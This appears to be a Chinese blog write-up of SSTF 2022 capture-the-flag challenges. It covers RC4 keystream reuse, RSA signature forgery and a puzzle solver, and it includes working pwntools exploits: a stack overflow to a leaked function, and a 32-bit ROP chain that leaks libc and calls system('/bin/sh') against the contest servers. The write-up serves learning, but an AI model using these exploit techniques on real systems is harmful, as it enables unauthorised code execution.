• [SSTF 2022] 三星安全论坛的小比赛错过了


     

    打开的时候已经比赛完了,不过题目还可以看也可以提交确认正误。有点良心。

    前边有个教程

    0,签到

            这个直接给了flag,一共有690个提交,看来参加的人不多

    1,BOF101

            一个pwn题,附件给了源码,后边102和103不让作,应该是比赛的时候作了101才让作。

    1. #include
    2. #include
    3. #include
    4. int printflag(){
    5. char buf[32];
    6. FILE* fp = fopen("/flag", "r");
    7. fread(buf, 1, 32, fp);
    8. fclose(fp);
    9. printf("%s", buf);
    10. return 0;
    11. }
    12. int main() {
    13. int check=0xdeadbeef;
    14. char name[140];
    15. printf("printflag()'s addr: %p\n", &printflag);
    16. printf("What is your name?\n: ");
    17. scanf("%s", name);
    18. if (check != 0xdeadbeef){
    19. printf("[Warning!] BOF detected!\n");
    20. exit(0);
    21. }
    22. return 0;
    23. }

    也就是ret2system这个意思,PIE打开加载地址随机但直接给出了加载地址,直接溢出就行,中间注意要恢复check

    1. from pwn import *
    2. #p = process('./bof101')
    3. p = remote('bof101.sstf.site', 1337)
    4. context(arch='amd64', log_level='debug')
    5. p.recvuntil(b's addr: ')
    6. printflag = int(p.recvline(), 16)
    7. print(hex(printflag))
    8. p.sendlineafter(b"What is your name?\n: ", b'A'*(0x90-4)+p32(0xdeadbeef)+b'A'*8+ p64(printflag+5))
    9. print(p.recv())
    10. p.ineractive()
    11. #SCTF{n0w_U_R_B0F_3xpEr7}

    2,RC four

    这是一个RC4加密的题,给了一断明文和对应的密文,然后是flag的密文

    1. from Crypto.Cipher import ARC4
    2. from secret import key, flag
    3. from binascii import hexlify
    4. #RC4 encrypt function with "key" variable.
    5. def encrypt(data):
    6. #check the key is long enough
    7. assert(len(key) > 128)
    8. #make RC4 instance
    9. cipher = ARC4.new(key)
    10. #We don't use the first 1024 bytes from the key stream.
    11. #Actually this is not important for this challenge. Just ignore.
    12. cipher.encrypt("0"*1024)
    13. #encrypt given data, and return it.
    14. return cipher.encrypt(data)
    15. msg = "RC4 is a Stream Cipher, which is very simple and fast."
    16. print (hexlify(encrypt(msg)).decode())
    17. print (hexlify(encrypt(flag)).decode())
    18. #634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8
    19. #624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb

    由于用的同一个密码,而流加密是流是相同的,只需要用密文与明文异或得到流,再用这个流去与flag的密文异或就能得到flag

    1. msg = b"RC4 is a Stream Cipher, which is very simple and fast."
    2. c1 = bytes.fromhex('634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8')
    3. c2 = bytes.fromhex('624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb')
    4. print(bytes([msg[i]^c1[i]^c2[i] for i in range(len(c2))]))
    5. #SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}

    3,RSA101

    远程的RSA题,可以加密一些命令,但不参加"cat flag",只要传上"cat flag"的密文就能得到flag

    1. from base64 import b64encode, b64decode
    2. from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
    3. from os import system
    4. p = getStrongPrime(512)
    5. q = getStrongPrime(512)
    6. n = p * q
    7. e = 65537
    8. d = pow(e, -1, (p - 1) * (q - 1))
    9. print("[RSA parameters]")
    10. print("n =", hex(n))
    11. print("e =", hex(e))
    12. def sign(msg):
    13. m = bytes_to_long(msg)
    14. s = pow(m, d, n)
    15. return long_to_bytes(s)
    16. def verify(s):
    17. s = bytes_to_long(s)
    18. v = pow(s, e, n)
    19. return long_to_bytes(v)
    20. def welcome():
    21. print("\nWelcome to command signer/executor.")
    22. print("Menu : 1. Verify and run the signed command")
    23. print(" 2. Generate a signed command")
    24. print(" 3. Base64 encoder")
    25. print(" 4. Exit")
    26. while True:
    27. welcome()
    28. sel = input(" > ").strip()
    29. if sel == "1":
    30. sgn = input("Signed command: ").strip()
    31. sgn = b64decode(sgn)
    32. cmd = verify(sgn)
    33. commands = ["ls -l", "pwd", "id", "cat flag"]
    34. if cmd.decode() in commands:
    35. system(cmd)
    36. else:
    37. print("Possible commands: ", commands)
    38. elif sel == "2":
    39. cmd = input("Base64 encoded command to sign: ")
    40. cmd = b64decode(cmd)
    41. if cmd == b"cat flag":
    42. print("It's forbidden.")
    43. else:
    44. print("Signed command:", b64encode(sign(cmd)).decode())
    45. elif sel == "3":
    46. cmd = input("String to encode: ").strip().encode()
    47. print("Base64 encoded string:", b64encode(cmd).decode())
    48. elif sel == "4":
    49. print("bye.")
    50. exit()
    51. else:
    52. print("Invalid selection.")

    根据公式 m^e = c mod n有 (m1*m2)^e = c1*c2 mod n这样先求出m1*m2的密文和m2的密文就能还原出m1的密文

    1. n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
    2. e = 0x10001
    3. m1 = 'aWQ=' #id
    4. c1 = 'qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA='
    5. m2 = 'KOnKsqaqdklLPA==' # id * cat flag
    6. c2 = 'IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho='
    7. from base64 import *
    8. from Crypto.Util.number import long_to_bytes, bytes_to_long
    9. from gmpy2 import invert
    10. c1 = bytes_to_long(b64decode(c1))
    11. c2 = bytes_to_long(b64decode(c2))
    12. c = (invert(c1, n)*c2) %n
    13. print(c)
    14. bc = b64encode(long_to_bytes(c))
    15. print(bc)
    16. #o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
    17. #SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
    18. '''
    19. shi@ubuntu:~/2022sstf/bol$ nc rsa101.sstf.site 1104
    20. [RSA parameters]
    21. n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
    22. e = 0x10001
    23. Welcome to command signer/executor.
    24. Menu : 1. Verify and run the signed command
    25. 2. Generate a signed command
    26. 3. Base64 encoder
    27. 4. Exit
    28. > 2
    29. Base64 encoded command to sign: aWQ=
    30. Signed command: qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA=
    31. Welcome to command signer/executor.
    32. Menu : 1. Verify and run the signed command
    33. 2. Generate a signed command
    34. 3. Base64 encoder
    35. 4. Exit
    36. > 2
    37. Base64 encoded command to sign: KOnKsqaqdklLPA==
    38. Signed command: IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho=
    39. Welcome to command signer/executor.
    40. Menu : 1. Verify and run the signed command
    41. 2. Generate a signed command
    42. 3. Base64 encoder
    43. 4. Exit
    44. > 1
    45. Signed command: o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
    46. SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
    47. '''

    4, DocxAchive

    这是个word文档,里边有个嵌入文件,先把扩展名改为zip然后解开能得到oleObject1.bin这个文件也不知道怎么打开,先用010打开看看发现有个PNG文件头,将这一块复制出来。打开里边就是个flag

    5, PPPR

    一开始以为一定要用PPPR感觉很麻烦,打开后看就是一个栈溢出题,先puts(got.puts)再回到main(由于这里边没有/bin/sh所以要用libc里的bin/sh才用到libc,原题原意可能是用pppr直接用输入的串,因为system已经给出了),然后在得到libc后再作system(bin/sh) 

    1. from pwn import *
    2. elf = ELF('./pppr')
    3. context(arch='i386', log_level='debug')
    4. #p = process('./pppr')
    5. p = remote('pppr.sstf.site', 1337)
    6. #gdb.attach(p, "b*0x80485b2")
    7. #pause()
    8. bss = 0x804a100
    9. pay = flat(b'A'*8,0, elf.plt['puts'],elf.sym['main'],elf.got['puts'])
    10. p.sendline(pay)
    11. libc_base = u32(p.recv(4)) - 0x6d1e0 #local 0x6dc30
    12. bin_sh = libc_base + 0x18b363 #0x18e363
    13. print('libc:', hex(libc_base))
    14. pay = flat(b'A'*8,0, elf.plt['system'],0, bin_sh)
    15. p.sendline(pay)
    16. p.interactive()
    17. #SCTF{Anc13nt_x86_R0P_5kiLl}

    6,Flip Puzzle

    这是一个4阶拼版游戏,复原4*4块的位置。由于是计算机上的虚拟,这个没有上下左右边界,可以在左边界左移到最右。另外这里没有空格,是用与A互换实现的,实际上完全一样把A当空格就行了。

    1. #!/usr/bin/env python3
    2. import random
    3. import os
    4. import signal
    5. import sys
    6. LIMIT_TIME = 50
    7. NUM_STAGE = 100
    8. SHUFFLE_NUM = 11
    9. def bye():
    10. print ("Bye~")
    11. sys.exit()
    12. signal.signal(signal.SIGALRM, bye)
    13. signal.alarm(LIMIT_TIME)
    14. class Challenge:
    15. goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    16. status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    17. xpos = 0
    18. ypos = 0
    19. dist = 0
    20. def init(self):
    21. self.status = self.goal
    22. def shuffle(self, num):
    23. options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
    24. for _ in range(num):
    25. dx, dy = random.choice(options)
    26. self.move(dx, dy)
    27. def move(self, dx, dy):
    28. assert abs(dx + dy) == 1
    29. assert dx == 0 or dy == 0
    30. arr = self.status.split(",")
    31. p1 = self.xpos * 4 + self.ypos
    32. xxpos = (self.xpos + dx + 4) % 4
    33. yypos = (self.ypos + dy + 4) % 4
    34. p2 = xxpos * 4 + yypos
    35. arr[p1], arr[p2] = arr[p2], arr[p1]
    36. self.xpos = xxpos
    37. self.ypos = yypos
    38. self.status = ",".join(arr)
    39. def ok(self):
    40. return self.goal == self.status
    41. def dump(self):
    42. arr = self.status.split(",")
    43. for i in range(0, 4):
    44. print ("".join(arr[i*4:i*4+4]))
    45. for _ in range(NUM_STAGE):
    46. chall = Challenge()
    47. chall.shuffle(SHUFFLE_NUM)
    48. cnt = 0
    49. print("Current Status :")
    50. chall.dump()
    51. while chall.ok() == False:
    52. try:
    53. dx, dy = map(int, input(">>>").split(","))
    54. chall.move(dx, dy)
    55. cnt = cnt + 1
    56. if cnt > SHUFFLE_NUM:
    57. bye()
    58. except:
    59. bye()
    60. print ("Solved!")
    61. print("SCTF{fake-flag}")

    由于需要成功100次才行,所以不能在线解题,要先生成个库,也就是11步所能走到的所有情况。这个用分层遍历来实现。由于要走11步,所以这个运行花费大量时间,估计这也是题目完成人少的原因

    1. def move(status, dx, dy):
    2. arr = status.split(",")
    3. p1 = arr.index('A')
    4. p1x = p1 // 4
    5. p1y = p1 % 4
    6. p2x = (p1x+dx)%4
    7. p2y = (p1y+dy)%4
    8. p2 = p2x*4 + p2y
    9. arr[p1], arr[p2] = arr[p2], arr[p1]
    10. return ",".join(arr)
    11. goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    12. options = [[0, +1], [0, -1], [+1, 0], [-1, 0]]
    13. SHUFFLE_NUM = 11
    14. a_m = []
    15. a_s = []
    16. def get_s(m, t, s):
    17. global a_m,a_s
    18. if t in a_m:
    19. return a_s[a_m.index(t)]
    20. a_m = [m]
    21. a_s = [s]
    22. start = 0
    23. end = len(a_m)
    24. for _ in range(SHUFFLE_NUM):
    25. print(_)
    26. newstate = {}
    27. for j in range(start, end):
    28. for i in range(4):
    29. ns = move(a_m[j], options[i][0], options[i][1])
    30. if ns not in a_m:
    31. a_m.append(ns)
    32. a_s.append(a_s[j]+str(i))
    33. start = end
    34. end = len(a_m)
    35. get_s(goal,goal, '') #取得所有状态
    36. print(len(a_m), a_m[:10], a_s[:10])
    37. open('a_m.dat', 'w').write("\n".join(a_m))
    38. open('a_s.dat', 'w').write("\n".join(a_s))

    生成了一个10M的库,和所走的最短路径,然后再连线查表返回步数

    1. a_m = []
    2. with open("a_m.dat") as f:
    3. for i in range(324747):
    4. a_m.append(f.readline().strip('\n'))
    5. a_s = []
    6. with open("a_s.dat") as f:
    7. for i in range(324747):
    8. a_s.append(f.readline().strip('\n'))
    9. print(len(a_m), len(a_s))
    10. op_r = [[0, -1], [0, 1], [-1, 0], [1, 0]]
    11. print(op_r[0][0])
    12. from pwn import *
    13. #context(arch='amd64', log_level= 'debug')
    14. p = remote("flippuzzle.sstf.site", 8098)
    15. #p = process(["d:/python/python","app.py"])
    16. NUM_STAGE = 100
    17. for i in range(NUM_STAGE):
    18. print(i, end='')
    19. p.recvuntil(b"Current Status :\n")
    20. old_status = p.recvuntil(b'>>>', drop=True).replace(b'\n', b'').decode()
    21. old_status = ",".join(list(old_status))
    22. print('old:', old_status)
    23. ok = a_s[a_m.index(old_status)][::-1]
    24. for i in ok:
    25. i = int(i)
    26. r = op_r[i]
    27. p.sendline(str(r[0]) +","+str( r[1]))
    28. print(p.recvline())
    29. print(p.recvline())
    30. #SCTF{what-is-your-favorite-algorithm_0x38dc129?}

  • 相关阅读:
    资本-劳动力错配指数计算、金融错配指标两大维度指标(内附代码)
    ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
    韦东山 嵌入式Linux驱动开发基础知识 【hello驱动 像单片机那样驱动 用结构体封装驱动
    第三章:运算符
    本地web服务器配置(IIS)
    【微服务架构组件】Apollo
    useEffect
    Apollo 应用与源码分析:Monitor监控-硬件监控-CAN监控
    【Linux】信号(1)认识、记录和产生信号
    对深度学习中的归一化技术的思考与总结
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126517986